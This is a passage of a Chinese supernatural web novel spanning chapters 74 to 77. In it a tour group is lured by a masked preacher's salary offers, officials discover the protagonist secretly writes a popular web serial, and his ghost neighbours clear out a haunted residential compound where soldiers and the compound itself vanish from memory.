这七天里,除了基本的生理需求:吃饭、睡觉、上厕所。那个戴着鸟嘴面具的高大身影从未停止过自己的滔滔不绝。他每天能连续讲述13个小时关于“苍珥万象九重终焉阒阴至尊”的伟大事迹。
剩下的时间,仁慈的给予他们8小时睡眠、3小时用餐。
起初,游客们如惊弓之鸟, 在墨菲斯每次转向他们时都会不自觉地屏住呼吸。
但人类最伟大的适应能力在这七天中得到了充分展现。从恐惧战栗到麻木不仁,从积极抵抗到消极接受, 他们逐渐变得宛如墙角的盆栽一样, 活着却安静得像是死了。
旅行团里有一位刚毕业不久好不容易找到工作的小年轻, 于不久前接到了一通来自公司的电话。
电话挂断后,他脸上的表情比听墨菲斯讲道七天还要绝望。
“你怎么了?”有人小声问他。
“被开除了。”小年轻声音嘶哑,眼神空洞。公司新项目最近正是关键阶段,他无故旷工好几天, 人家开除他也正常。
——至于明明有手机, 为什么不报警。他们已经试过了, 电话根本打不出去,发短信也发不出去, 只有外面的电话能打进来, 而他们想暗示打电话给自己的人, 只要涉及到关键词, 就有一股无形的力量阻止他们开口。
所以不是他们不想反抗,是没招了。
旅行团这边的唉声叹气很快引起了墨菲斯的注意。于是在一次讲道中,墨菲斯说着说着,话锋一转:“你们身上的怨气好重啊。”
此言一出,顿时让众人打了个寒颤。
李光志为了合群,也是为了让旅行团的人不要太记恨他,最近一直当的是出头鸟的角色,此刻,又到了他站出来的时候,他忙解释道:“不是的,请您不要误会!我们只是沉浸在至尊的光辉中无法自拔,舍不得离开。但我们要上班工作,才能挣钱养活自己养活家人我们长时间不回去,公司会把我们开除的。不瞒您说,我们之中已经有人被开除了。我们愁的是这个。”
该说不说不愧是专业导游,危机处理能力一流,言辞恭敬又委婉,既没有冒犯墨菲斯,又巧妙的表达了诉求。
旅行团众人对李光志的怨气不禁又消减了几分。
墨菲斯听完,长长的“嗯——”了一声,一副在思考的样子。
整个场地安静得连呼吸声都清晰可闻,众人紧张的等待着他的反应。
半晌,墨菲斯突然拍了下手,声音中带着兴奋:“确实应该要做大做强,才能扩大影响范围。”他顿了顿,“这样吧,我们自己建立一个公司,资金我出,你们内部协商一下什么职位什么人上,然后给我一个计划表格让我过目,我要是觉得可以就执行。当然,我会发工资的,不是无偿。”
这番话让所有人愣在原地,一时间没人敢回应。直到有人担心沉默会激怒墨菲斯,才小声应和了几句。
墨菲斯看着众人犹豫的表情,长叹一口气,语气里充满了苦恼:“那我只能找别人给他发每个月10万块的工资了——如果工作数量和质量都跟得上,我还能再加薪,月薪百万怎么样?”他的话语顿时变得极具诱惑力,“我观察过,你们人类里能达到月薪百万的人,1%都没有,我这个条件应该很不错了。”
百万月薪?这个数字如同魔咒般在众人脑海中回荡。
就在所有人还在消化这个信息的时候,一道人影突然从人群中跃出。
小年轻,就是那位刚刚被公司开除的年轻人,以一个堪称专业的滑跪姿势完美停在墨菲斯脚下。
“您真是英明神武啊,大人!”小年轻声音激动得颤抖,“从今天开始,您的话语就是我前进的动力,您的目标就是我的方向,您的吩咐就是圣旨,只要您一声令下,刀山火海我都冲!总之,这辈子我跟定您了,您指东我绝不往西,您让我跪着我绝不站着!”
在场所有人听得是目瞪口呆。
小年轻抬头仰望着墨菲斯,眼神中闪烁着近乎狂热的光芒。
众人还没回过神来,又一个身影从人群中站起。是林小雨,同样刚毕业,学艺术的。众所周知,现在工作难找,学文学艺更是艰难,没有家里帮忙,基本上是死路一条。
林小雨家庭普通,家中也没关系,毕业两年,至今没有找到对口工作,目前在网上接单子勉强糊口。
大家立刻紧张起来,有人小声劝阻:“姑娘,三思啊,人家愿意是人家的事,每个人的想法都不同嘛,我们应该尊重,你嗯?”
劝阻声戛然而止。
因为林小雨扑通一声也跪倒在了墨菲斯面前,声音清亮而坚定:
“听君一席话,如聆仙乐耳暂明。冕下!”她深深低头,又抬起脸,眼中闪烁着灼热的光芒。
“实话实说,在您的传颂下,我了解了至尊是怎样的一个神明,祂是如此伟大!祂就是电就是光就是唯一的神话!我决定加入组织发光发热,这将是我唯一的事业,也是我此生拼死也要捍卫的光明!”
她的声音铿锵有力,言辞间透着不容置疑的决绝。
这一幕再次震撼了所有人。
接下来发生的事情简直如同多米诺骨牌效应——一个接一个的人突然间醒悟,然后跪倒,举起双手伏地,争先恐后的表达着对墨菲斯、对至尊的忠诚。
也不怪他们是这种反应。
这个旅行团的人之所以对汪家村的超低价团感兴趣,本就是因为经济状况不宽裕:李光志为了赚取人头佣金,刻意将价格压得极低吸引人。
而现在,墨菲斯提出的条件:月薪十万起步,最高可达百万。对他们而言无异于一串天文数字,这样的诱惑足以让许多人抛弃原则。
眼见这一幕,一旁观望的村民们再也坐不住了。
“我们不要100万,每个月给1万就行了!”有村民高声喊道。
旅行团闻言,不约而同的转头怒视那位村民。
密码的工贼!
墨菲斯清了清嗓子,场面立即安静下来。
“大家的诚意我都感觉到了,非常的火热,我很欣慰。”墨菲斯的声音中带着难掩的愉悦,“之前说的报酬不会改变,你们现在自己计划一下组织整体结构和方案,弄好了拿给我看,现在开始——”
话音刚落,人群中爆发出激烈的讨论声。曾经惊恐不安的“人质们”,现在摇身一变,成了争夺高薪职位的激烈竞争者。
有人掏出纸笔,开始草拟组织架构;有人三五成群,低声商讨着合作计划;还有人单独站在一旁,似乎在构思什么惊天动地的提案
墨菲斯满意的注视着这一幕,鸟嘴面具下的嘴角微微上扬。
时间回到宴泠昭从清醒梦中醒来。
基地深埋于地下,自然透不进半分阳光,四周也没有窗户,保证外面的光亮渗不进来。墙角有一个装着铁栏杆的口子,那是通风口。
关灯后,整个房间被黑暗吞没,真正意义上的伸手不见五指。
所以有个小夜灯贴心的放在床头。不过宴泠昭没用。
宴泠昭摸索着拿起放在枕边的手机,眯起被屏幕亮光刺得睁不开的眼睛。
5:59分。
他才睡了两个多小时,三个小时不到。难怪那么困,还感觉很累。打了个哈欠,宴泠昭将手机扔到一旁,拉过被子蒙头继续睡。
这一觉倒是安稳,没有再做任何梦。直到早上9点,一阵敲门声将他唤醒。
洗漱完毕,换上衣服,宴泠昭照例前往体检室。这已经是他在基地第九天的固定流程了。
做完最后一项检查,宴泠昭放下撩起的衣服。这时张教授走了过来:“各项数据都很正常,可能要等到你体内的那股神秘力量被激发后才能看到变化实验就到这里,你可以回去了。不过在家时记得多尝试调动那股力量,有任何发现随时联系我。”说着掏出手机,“对了,你还没有我的联系方式吧?来,加一下。”
2060年10月20日。
回到家的第二天,宴泠昭收到一条银行短信,提示账户收入一百万元。
一百万万?宴泠昭愣住,谁会给他转这么大一笔钱?该不会是有人转错账户了吧?他打开银行APP查看明细,在转账人一栏看到了熟悉的名称。
原来是他作为公务员的工资。仔细一想,今天确实是发薪日。但怎么会有一百万这么多?
宴泠昭本想直接打电话询问朱德宏,又想到对方公务繁忙,便改为发消息。没想到消息刚发出去,朱德宏的电话就打了过来。
宴泠昭接通。
【“没错,这是底薪加提成。”】朱德宏开门见山的说道,【“你作为消灭S级鬼母的最大功臣,要我说一百万都算少的。”】
对有钱人来说,一百万或许不算什么,但对宴泠昭而言,一百万无疑是笔巨款。很多了。
“不,我觉得都多了”
朱德宏打断他:【“你知道S级意味着什么吗?实际上,我国目前已知的S级诡异除了鬼母还有三个。它们都拥有自己的鬼域,就像你在医院外看到的那片浓雾。你也亲眼目睹了,我们派进去多少士兵,战况有多惨烈。要不是你及时出手,结局必然是无人生还。更别说鬼母还特意选择了人员密集的场所”】
【“所以我才会说一百万少了。”】朱德宏顿了顿,【“不过,这也是因为目前规定的最高奖励额度就是一百万。宴泠昭,你知道自己有多厉害吗?在你出现之前,没人会相信有人能单枪匹马的解决S级诡异我已经向上级提交报告,重新调整奖励制度,后续还会有其它补偿,你就安心收下吧。”】
一股暖流在宴泠昭心头涌动,他低低的“嗯”了一声。
挂断电话后,宴泠昭的目光落在多日都没开机的电脑上。突如其来的财富让他完全失去了写作的动力。反正上一个单元故事已经完结要不就此停更?
宴泠昭陷入沉思。
片刻后,他决定顺其自然,挂着连载的标签,有灵感就写,没灵感也不强求。毕竟现在,他已经实现了财务自由。
嘴角不自觉的上扬,宴泠昭抬手轻轻按住,让嘴角恢复平直。
【作者有话说】
旅行团:也是好起来了!
75 第 75 章
◎原来宴泠昭就是作者◎
【作者公告:因个人原因, 近期更新将调整为不定期发布。长期休假中,不要等更。】
段洁的指尖悬在键盘上方, 瞳孔微微收缩。她下意识揉了揉酸涩的眼睛,可屏幕上那行冰冷的公告依然刺眼的存在着。
“丁萱!”她的声音陡然拔高,引得隔壁工位的同事诧异地抬头,“你快看作者的最新公告!”
丁萱刚将保温杯递到唇边,闻言立即放下杯子刷新页面。当那行文字映入眼帘,她的手指不自觉地收紧了鼠标。
“更新不定长期休假?”丁萱瞳孔地震。
同一时间, 其他人也看到了。
办公室里的空气仿佛凝固住了,接着,此起彼伏的抽气声和惊呼声交织在一起。
周明猛地站起身:“杨主任!作者好像要断更了!”
五分钟后。
杨锐峰的办公桌前围满了人,所有人的目光都死死盯着面前的电脑屏幕。刷新键被按了无数次, 可那行文字就像生了根似的纹丝不动。
他们多希望是自己看错了,但很遗憾, 这就是现实。
“我出去一趟。”杨锐峰摘下眼镜, 指节抵着太阳穴, 声音里透着疲惫。
与此同时,朱德宏正在审阅一份特殊人才名单。
国家特殊人才招募计划开展得如火如荼。曾经隐匿在民间的能人异士纷纷浮出水面:赶尸人、蛊师、道士、阴阳先生、出马仙报名表上写满了曾经遭严打的职业称谓。
——华夏地大物博,严打之前,可谓是什么人都有。严打之后, 这些人就销声匿迹了。
但现在不一样了, 国家全面放开, 只要觉得自己有本事,欢迎加入“大舞台”, 于是一时间涌入无数人活跃报名, 验证了那句话:宇宙的尽头是考公
可现实总是骨感的。
经过前两轮严格筛选, 真正具备特殊能力的人屈指可数。第三轮到了他这, 别说,这些人还真有点东西,能对付诡异。
至于原理,目前的科学暂时无法解释。
不过他们使用能力时旁边的仪器进行监测,检测到存在另一股能量波动,暂时称其为阳性能量。阳性能量和阴性能量相反,二者水火不容,前者对后者造成的打击很大。
举个例子,同一把菜刀,普通的菜刀攻击鬼怪和赋有阳性能量的菜刀攻击鬼怪,有阳性能量的菜刀造成的伤害更大。
果然是高手在人间。
而研发部那边研发出的特制武器能量波动和阳性能量波动有细微不同,二者相同的地方应该就是对鬼怪造成“外破”伤害的原理。
研发部那边目前正在努力破解。
值得一提的是这些有真“东西”的人使用能力时并不一定都是阳性能量,也有一些和阴性能量相似,却又存在细微不同之处的能量波动。
朱德宏头疼的叹了口气。很多东西别看相似的地方多,但就是那么一点点不同的地方,其中的学问大了去。
正愁着,电话响了。
手机铃声打断了朱德宏的思绪,朱德宏低头看去,手机屏幕上来电显示“杨锐峰-后勤部”的备注。
朱德宏按下接听键。
听完对面的话,朱德宏面色严肃,“我知道了。”
挂断电话,朱德宏立即拨通了另一个号码:“以编辑的身份联系作者,委婉的询问他断更的原因,或者说,长期停更的原因。”
***
浴室门被从里面推开,蒸腾的热气中走出一个身影。宴泠昭的发梢还在滴水,水珠顺着脖颈滑落,在驼色围巾上洇开深色的痕迹。
十月的天气诡谲多变,前几天还冷得不行,今天骤然回温。鉴于天气太热,浴室里面又闷,不赶紧出来,刚洗完澡,身上很快便又会出一身汗,那就成永动机了。
于是宴泠昭草草擦了下头发,便穿上衣服出来了。走了两步,他忽然停下,目光不自觉地飘向冰箱。
两分钟后,冰镇可乐顺着喉管滑下,驱散了残留的燥热。
其实宴泠昭很少喝饮料,更别说在家里准备饮料了,平日里他顶多泡泡咖啡。因此,这可乐是李小虎嚷嚷着要喝,他才买的。
碳酸气泡在舌尖炸开的刺激感加上冰凉甜腻的味道确实令人神清气爽,很解暑。
不过喝了几口后,宴泠昭就腻了。他将易拉罐搁在茶几上,绕过抱着平板电脑打游戏的手机鬼,在沙发另一端坐下,然后拿出手机准备消遣时间。
刚亮屏,一条来自“编辑”的消息弹了出来。作为网文作者,宴泠昭自然是有编辑的,但他与编辑的交流向来仅限于必要的工作沟通,其它时候基本不联系。
所以,编辑找他肯定是有事。
宴泠昭输入密码解开锁屏,点开与编辑的聊天框。
【编辑:在吗?】
宴泠昭回复:【在】
【编辑:看到你的公告了,怎么了,为什么突然不写了?】
【宴泠昭:只是暂时停更,不是不写了。】
【宴泠昭:等有灵感了再写。】
【编辑:你数据很好,读者也多,市面上同题材的小说不少,你这个时候停更,可能会影响人气。】
【宴泠昭:我明白。】
编辑又劝了几句,见作者态度坚决,只好将聊天记录转发给朱德宏。
——对了,这个编辑是国家的人。
在发现作者的特殊性后,国家运作了一番,让原本真正的编辑骗作者说自己换了号,然后把现在这个编辑的账号推给了作者,让作者加。
确认加上了,原来的编辑就把作者删了。
得亏作者不是话多的人,加上编辑太忙忘了把作者拉进作者群里,而作者也没问。不然后面还真不好解释,毕竟群是可以转让的,不至于解散群。
另一边。
朱德宏看完记录,沉吟片刻,回复道:【问他是否参加今年的作者大会。】
两分钟后,编辑又转发了条聊天记录过来。
【作者:不去。】
好吧,意料之中。每次邀约都被拒绝,已经习惯了。
当然,作者如果同意参加,肯定是不会让他去真正的会场的,而是转移到另一个会场,那里面都是官方人员扮演的与会人员。
朱德宏刚放下手机,正准备继续浏览名单,又一通电话打了进来。
这次接通听对面说完后,朱德宏激动得猛地拍了一下桌子站起来。
“你说什么?!确定吗?”
得到对面肯定的答复,朱德宏深吸一口气,努力让自己冷静下来,说了句我知道了,便挂断了电话。他的手指在办公桌上无意识地敲击,不时望向放在桌面上的手机,看得出来在纠结什么。
良久,他拿起手机,拨通了那个备注为“1”的号码。
***
池鸣康放下手机,望向面前电脑屏幕上打开的文档界面。
同样隶属于基地后勤部——后勤部的工作范围和职能很广,不止如段洁那种专对作者的小组,还有其它各式各样的组别。
基地内所有电脑都采用了特殊的联网系统。为了方便工作,每台终端都可以通过主控电脑进行远程连接。这种设计比传统远程操控更加便捷,只需简单勾选就能自动导入其它电脑里的资料。
——池鸣康的工作就是对这些海量数据进行整合处理。
不过该系统是前两天更新的,以前没这功能。
这天,池鸣康像往常一样勾选了所有终端进行数据收集。就在例行操作时,一份异常数据引起了他的注意。
不,准确来说不是数据,是一篇故事。
池鸣康看愣了。
基地的工作电脑严禁私人用途,这是谁下载的小说?他顺着数据来源查去,发现这台终端编号完全陌生。
是新配备的设备吗?他暗自嘀咕。
后面也不知道怎么的,或许是脑抽了,他竟鬼使神差的将整篇文章从头到尾读了一遍。
起初没反应过来,等读到中间部分时,一种诡异的熟悉感突然涌上心头。池鸣康急忙掏出手机,点开某本正在追更的网络小说,翻到特定章节进行比对。
一字不差。
池鸣康的呼吸变得急促。他调出文档的最后修改时间和小说章节的发布时间进行对比,瞳孔骤然收缩,毫不犹豫地拨通了朱德宏的电话。
至于为什么一个小小的后勤部职员能直接联系到上面的大领导朱德宏是池鸣康的亲舅舅,他的母亲是朱德宏的姐姐。
***
和那位交代完,那位也给出了明确答复后,朱德宏站在窗前,手指无意识地摩挲着窗框,内心的激动久久难以平复。
没想到真是灯下黑啊!
宴泠昭竟然就是那个神秘作者!
若是能早些发现,或许G市的局势就能得到更快控制。不过现在的结果也算圆满,损失控制在了最小范围——仅几十人遇难,以及部分动物死亡,后者里最珍贵的就是濒危物种绿孔雀了。
不过,这些损失都在可接受范围内,是以朱德宏并未感到特别遗憾。当然,这不意味着逝去的生命不重要,只是比他预想的情况好太多,对比出来的庆幸罢了。
现在目标已经锁定,那么,该如何向宴泠昭开口?
好在他们之间的关系维护得不错。根据他对宴泠昭的理解和性格评估,可以直接询问。
于是宴泠昭那边接到了朱德宏的电话。
朱德宏没有找任何借口,毕竟真相就是现成的理由,没有任何隐瞒的必要。
“没想到你还是个作家,真是能文能武,英雄出少年啊。”朱德宏面不改色的称赞道,“你那篇文章还需要吗?要不要发给你?”
电话那头,原本慵懒靠在沙发上的宴泠昭瞬间绷直了脊背,声音里带着明显的尴尬:“不必了,直接删除就好。”
他总共在基地住过两次:第一次用电脑码过字,第二次压根没开过电脑。偏偏就是第一次忘了删,第二次因为没开电脑从而没有发现的机会。
宴泠昭尴尬得快碎了。
写作这件事,有些人会与身边人分享,而他绝对属于另一类——就像写日记一样,虽然本质不同,但那种私密感是相通的。
朱德宏何等精明,自然听出宴泠昭想要结束话题的意图。但他还有重要问题必须询问:“我有个亲戚家的孩子也在写网文,但成绩不怎么理想。想请教下你的灵感来源和写作技巧。”
宴泠昭硬着头皮回答:“灵感这东西很玄妙,因人而异。至于写作技巧我也不太清楚,就是构思好故事大纲后,直接动笔”
这个回答在朱德宏预料之中。如果宴泠昭没有伪装的话。
现在,朱德宏倾向于宴泠昭可能受到了“月神”的影响——就像之前他想劝阻宴泠昭不要去G市,那个念头突然消失一样。
这也正是他坚决反对张教授想要借用月神力量的原因,实在是太危险了。
放下这个问题,还有另一件事需要处理。
朱德宏转换话题:“对了,诡异探测装置在你们小区里检测到异常能量波动。如果有空,能否请你体内的诡异协助调查?不出意外那诡异就躲在你们小区,你自行解决的话奖励从五万起步,上不封顶。”
这是朱德宏与那位反复商讨后的决定。
别看表面上国家记录在案的S级诡异只有三个,实际上隐藏着第四个,就是宴泠昭的小区。
让宴泠昭处理,无疑是最佳方案。
当然,只是处理里面的诡异,小区鬼域最好存在毕竟,没有小区鬼域阻挡,血月会影响全世界。
【作者有话说】
[撒花]
76 第 76 章
◎小区到底存不存在◎
至于另外三个S级鬼域要不要让宴泠昭也处理了, 国家目前没有这个打算,高层有更深层的“战略考量”
结束通话后, 宴泠昭立即召集了所有鬼物,说有重要事情要商议。
待所有鬼都到齐后,宴泠昭开门见山道:“小区里还藏着其它诡异,麻烦你们帮我多多留意,在小区里仔细搜查。如果遇到能应付的,就直接制服;觉得棘手的便通知我, 由我来处理。”
这个时候,宴泠昭还以为诡异只有一个。
众鬼(除掉个别只会阿巴阿巴的鬼)闻言露出诧异的神色。
宴泠昭这是知道真相了?
恐怕是了。
人类那边居然把小区的真实情况告诉了宴泠昭。
——除了李小虎和手机鬼对此毫无想法外,其他鬼怪心里都开始盘算起来。
而不管他们怎么想,既然宴泠昭已经下达了吩咐, 众鬼也只能照办。别说他们没有同类情,首先, 鬼怪本就没有情谊可言;其次, 他们无法违抗宴泠昭的意志;最后死道友不死贫道。
于是, 当宴泠昭在家里等待消息时,整个小区都沸腾了起来。众鬼分头行动,一鬼负责一家,很快小区各处皆响起了激烈的打斗声。
值得一提的是不知道是不是因为得天独厚的“环境优势”(受血月的加持), 小区里的鬼怪等级普遍偏高。
当然, 宴泠昭手下的鬼邻居们等级也不低, 包括手机鬼在内。人类方但凡过来看上一眼,绝对会震惊得说不出话, 继而陷入深深的忧虑。
要知道从E级到S级, 最常见的是C级以下的诡异, B级相对少见些, A级已经很难对付,S级更是凤毛麟角。
而这个小区,最差的都是C级起步。其危险程度可想而知。也不知道另外三个鬼域是否也是如此。如果都是这样,万一哪天爆发,后果简直不堪设想
宴泠昭在家里从白天等到深夜,众鬼才陆续返回。
他们看起来都有些狼狈,身上带着明显战斗过的痕迹。
宴泠昭不禁愣住:“你们已经交过手了?情况怎么样?”
王玲玲率先汇报道:“我解决了6个。”
何老:“10个。”
田燕婉:“9个。”
老王:“15个。”
李小虎兴奋的喊道:“4个!”
李奶奶慢悠悠的说:“10个。”
手机鬼:“14个。”
小区总共就140户人家。又鉴于鬼怪的“独立性”,像李奶奶这种会和亲人同住的情况很少见,是以多数都是一户一鬼。
你问那鬼怪的亲人呢?或者说亲鬼?当然是胜者留下,败者要么被赶出去,要么死了。
话说回来,这一战一下就消灭了68个鬼,差不多占了总数的一半。
值得一提的是,手机鬼的战力仅次于老王,所以他其实并不弱。而且他的能力很阴,上次之所以会被楼上的屠夫反杀,一是因为屠夫在力量上完全压制他,二是手机鬼的能力更适合搞暗杀,而不是正面硬刚。
如果上次手机鬼谨慎一些,完全是有能力拿下屠夫的。
宴泠昭:“有这么多?”
聪明的鬼立刻意识到了什么,而不够聪明的、比如李小虎,想都没想就接话道:“还好吧,我们都是先挑软柿子捏,剩下的就比较难对付了。不过我们可以联手,还是能解决一些难缠的。”
说到这里,李小虎骄傲地叉起腰。
发现真相的其他鬼:“”
坏了,人类那边好像没有说出全部实情,很可能只是告诉宴泠昭小区里有诡异。
算了。还是那句话,死道友不死贫道。众鬼心照不宣的将真相咽回肚子里,谁也没有多嘴。
宴泠昭回过神来,问李小虎:“小区里还剩多少诡异?”
李小虎虽然学习成绩不好,但简单的加减乘除还是会的。他盘算了一下众人报的数字,再对比预估的总量,回答道:“应该还有70个左右。”
多少?还有70?
这加起来差不多就140个了,正好和小区里的总户数一样。但自国家80年前发现诡异至今,全国累计也就几百起案例,结果他小区里就有100多个,这合理吗?
敢情他住的小区是个鬼窝?含鬼量高得惊人,几乎和含人量对半开
其实准确来说不止对半开,是整个小区除宴泠昭外,全员非人。
当然,宴泠昭自己是不是人类也值得商榷
于是这一晚,宴泠昭失眠了。
他怎么也没想到自己住的小区是鬼窝,而按照他特训学到的知识,这着实有些过于违和了。
不是说同一个地方只能有一个鬼,虽然诡异存在领地意识,但实力相当的情况下,它们也能和平共处。
但就算是实力相当,也不至于一百多个实力相当的鬼怪挤在一起。
怪,实在是太怪了。
宴泠昭头脑混乱,心情复杂,暂时没有把这件事上报给朱德宏。他也不确定朱德宏知不知道这回事,不过仔细想来,朱德宏并没有说小区只有一个鬼,只是说检测到诡异能量波动,告诉他小区里有鬼,仅此而已。
宴泠昭翻转过身,对着窗户的方向望着外面的月亮发呆。
第二天。
已是箭在弦上不得不发的众鬼继续清剿行动。而正如李小虎所说,前一天能捏的软柿子都捏完了,现在剩下的全是硬茬,效率直线下降,因此这一天只猎杀了10只鬼。加上前一天的68只,总共78只。
第三天。
众鬼商量后决定合力围剿他们胜算最高的那只鬼。然而,他们连续两天的行动,终于是引起了其他幸存诡异的警觉。
尽管由于诡异的天性,它们根本不会在意同类的死活,但面对这种群体性的猎杀就不一样了。
与兔死狐悲一个道理,众鬼这下算是捅了马蜂窝。
——就在他们联手将目标逼入绝境,眼看即将得手时,那只鬼突然发出震耳欲聋的咆哮:“你们还要看戏到什么时候!”
激烈的打斗声从窗外传来,伴随着一声声令人头皮发麻的嘶吼声。
宴泠昭快步走到窗台边,探头往外看。
只见楼下隔壁的隔壁的隔壁楼栋前群魔乱舞。
——各种形态的鬼怪缠斗在一起,阴风阵阵,鬼气冲天。有浑身长满眼睛的肉球鬼,正不断地发射着腐蚀性液体;有漂浮在半空的无头鬼,用长长的肠子当鞭子挥舞;还有能分裂出数个分.身的影子鬼,来回穿梭搞偷袭
尽管场面混乱不堪,但宴泠昭还是看见了自己手下的七鬼正在被围攻的窘境。
这怎么行?
宴泠昭当即转身就要冲出去帮忙,却在迈出第一步时猛地刹住。
他突然意识到自己一个普通人贸然加入鬼怪之间的混战,大概率不但帮不上忙,反倒可能成为拖油瓶。
毕竟诡异只要能量不散就不会真正死亡,而他这副血肉之躯可经不起折腾,别到时候七鬼还要反过来救他。
宴泠昭顿住脚步,拿出手机,拨通了朱德宏的电话。电话接通后,不等朱德宏开口,他简明扼要的将情况快速讲了一遍,并略过了“你知道小区里有这么多诡异的”询问吗——现在不是追究这个的时候,当务之急是搬救兵。
电话那头的朱德宏没有丝毫犹豫,立即说会派军队支援,但提出需要宴泠昭亲自接应。
而他之所以答应得如此干脆,是因为有宴泠昭在,局面不会发展到无法扭转的境地。而若能借此机会一举清除小区鬼域里的隐患,那自然再好不过。
毕竟没人能保证受月神影响的宴泠昭不会“性情大变”,因此必须未雨绸缪。而铲除小区的诡异,至少能将未来可能爆发的危机削减半数。
至于为何非要宴泠昭接应,小区鬼域是现存鬼域里最为特殊的鬼蜮。平时人类根本看不到,但也有能看到的,也不知这个“触发条件”是没规律的随机挑选还是有什么隐藏条件,目前还未可知。
是以,为了确保援军不会在小区门口徒劳徘徊,能直接投入战斗,必须要宴泠昭接应。
宴泠昭本人对此一无所知,又因为让他接应是完全合情合理的,所以他并没有产生怀疑。
挂断电话后,朱德宏立刻联系了作战部总指挥。
这里要说明的是,随着灵异事件的公开化,原先的侦查小组已晋升为作战部。当然,职能没有变,一切基本上还是照旧——原来叫侦查小组,一是体量小,二是为低调。
而既然现在全国人民都知道了,那么换一个听起来更直观也更“充满力量”的名称自然更好。
作战部总指挥部那边接到命令后立即调兵遣将。
值得一提的是,现在的“侦查小组”已从最初的6人编制扩充到了30人一组,已然是个团了。这是因为随着选拔标准的放宽,不用像以前那样这要审,那也要审,加上需要广扩人员,人数可不就上来了吗。
甚至有些是编好的军队改了部门隶属划分到的作战部,可谓是原汁原味的老班底。
***
众鬼的战场还好离小区大门隔着一段距离。
宴泠昭在焦灼的等待约十分钟后,终于看到有辆军车呼啸而来,后面还跟着一长列装甲车队。
路边行人纷纷驻足,有忙拽了拽同伴的衣袖,激动道:“出什么事了?怎么连军队都出动了?”的,也有兴奋地举起手机拍摄的:“快看!是咱们的军队!肯定是出什么大事了!”
宴泠昭等不及领头车停稳就快步迎上。
那边。
领头的军车司机正为找不到小区入口犯愁,忽见一个青年凭空出现在车旁,那张脸与他们出发前看的接应人的照片分毫不差。
司机猛踩刹车,摇下车窗进行确认:“你是宴泠昭吗?”
宴泠昭:“是的,请跟我来。”
军车整齐地停靠在路边,全副武装的军人迅速从车上跃下。他们训练有素地自动列队,紧跟在宴泠昭身后向小区进发。
当队伍行进至距离小区大门约一米时,他们眼中原本空无一物的地方突然扭曲变幻,随后一座看起来年头不小了的老小区骤然显现出来。不过因为事先已被告知这一情报,是以军人们并未表现出过多的惊讶,比起这个,他们的目光和注意力都被小区里面翻腾如墨的浓重鬼气所吸引——
那黑雾几乎遮蔽了半边天空,浓度之高令人心惊。
无需宴泠昭多言,军人们立即握紧武器冲向战场,特制的子弹已上膛,随时准备投入战斗。
与此同时,小区外面。
由于事发突然,根本来不及疏散群众。附近的人见到大批军车集结,自然被这阵势吸引,纷纷驻足观望。
注意力一上来,他们也看到了小区。
“咦?这里什么时候多了个小区?”有人一脸茫然。
旁边有个大叔听见,说道:“一直都有啊,我从小就住在这条街上,很清楚。不过别说,这小区年纪比我都大。”
大叔嗓门不小,周围很多人都听见了。
有人说:“不可能,我上班经常从这过,从没见过小区。”
此言一出,立马有人反驳:“有的!是你没注意过吧。”
“不可能,这么大个小区,我是瞎吗没看到!”
“可不就是吗,你自己都承认了,不是瞎是什么。”
很快,围观群众自发分成两派争论起来。一方坚称从未见过小区,另一方则信誓旦旦的说小区一直存在。
就在争论愈演愈烈时,一位拄着拐杖的老大爷颤巍巍地掏出手机,翻出一张照片。照片里,年轻时的老大爷身后背景赫然与眼前作为争论点的小区一模一样。
“这是我四十年前拍的咧。”老大爷怀念的说道。
大叔一看乐了,大声道:“看看看看!小区确实存在,说没有的别争了。”
“万一是p的呢?”
“反正我不信,我相信自己的眼睛。”
“嘿,别嘴硬了!”
两伙人又吵了起来,他们好像根本不知道危险似的,明明战场距离他们仅几十米之遥,冲天的鬼气都将不远处的那片天空染成墨色,但这伙人硬是对近在咫尺的危险视若无睹,讨论的重点始终停留在小区是否存在的问题上。
不过通过从这部分望向小区里面的人的眼睛里的倒映,可以看到他们眼底映出的,根本没有那冲天的浓烈鬼气
他们看不见。
77 第 77 章
◎小区诡异:有内奸啊!◎
当最后一名军人踏入小区, 整片住宅区如同被橡皮擦抹去般,在众目睽睽之下消失得无影无踪。
“卧槽!你们快看!那个小区那个小区不见了!”一个颤抖的声音打断了争论不休的人群。
正争执得面红耳赤的众人闻声望去, 只见方才还矗立在那里的小区此刻竟不见了。激烈的争吵声顿时戛然而止,所有人都瞪圆了双眼,张大的嘴巴里发不出半点声音。
小区没了?
三十秒后,关于小区的记忆开始从众人脑海中悄然褪色。他们只模糊的记得这个地方似乎应该有个住宅区,却怎么也想不起具体模样。
紧接着,连争吵的缘由也一并遗忘, 方才还剑拔弩张的对峙者们此刻面面相觑,眼神中尽是茫然。
又过了三十秒,所有与小区相关的记忆彻底消散。
“奇怪?我站在这儿干什么?上班要迟到了。”年轻的上班族猛地拍了下额头,匆忙奔向公司方向。
其余人也如梦初醒般各自散去, 转眼间街道便恢复了往日的平静。
与此同时。
正火速赶来准备执行隔离任务的官方人员集体陷入了诡异的沉默。
我们这是在做什么?
——所有曾知晓小区存在的人,此刻记忆都被完全重置。好在官方人员都是经历过培训的, 也有这方面的意识, 是以很快便察觉到了异常, 立即将这一反常现象层层上报。
与此同时。
作战指挥部惊觉三支整编团莫名失联,将这一情况报给了主事人。而这位主事人就是“层层上报”中的一员。
因此,当“隔离组”的异常报告与部队失踪的消息同时呈递到他面前,他敏锐的立刻将这两起事件联系起来, 向上级呈报。
很快, 同样失去小区相关记忆的朱德宏得知消息, 条件反射地掏出手机想要联系宴泠昭——他也不想依赖宴泠昭,无奈目前局势如此, 只有宴泠昭有足够的能力解决此类问题。
朱德宏翻开通讯录, 刚准备打电话, 突然眼神一凛。却是在最近通话记录中发现了一个熟悉的名字。
宴泠昭。
接通时间是在二十分钟前。
有这通电话吗?他们聊了什么?他怎么一点印象也没有?
不过现在也不是纠结这个的时候, 朱德宏将疑虑压在心底,拨打宴泠昭的号码。
“嘟——嘟——”
向来秒接的宴泠昭这次迟迟没有反应,直到忙音响起,都没有接通。
朱德宏面色凝重。
现在已知绝对是除了什么事,而他给忘了。
这种情况也不是第一次出现,上次还是在宴泠昭前往G市时,他刚产生劝阻的念头,相关记忆就莫名消失,后来推测大概率是月神所为。
其目的,通过调取宴泠昭的行程轨迹,以及结合各地有没有突发事件,最终得出一个推测:宴泠昭似乎是去解决G市的寄生体危机的。
但这个结论让朱德宏心生疑虑:以月神展现出的威能,消灭寄生体应是易如反掌,那么,为何非要假手于人?
由此,又衍生出一个猜想:莫非月神无法直接干预?
再结合《寄生》篇透露的信息经智囊团的反复推演,最可信的假说是:月神与日神正处于某种制衡状态,腾不出手。
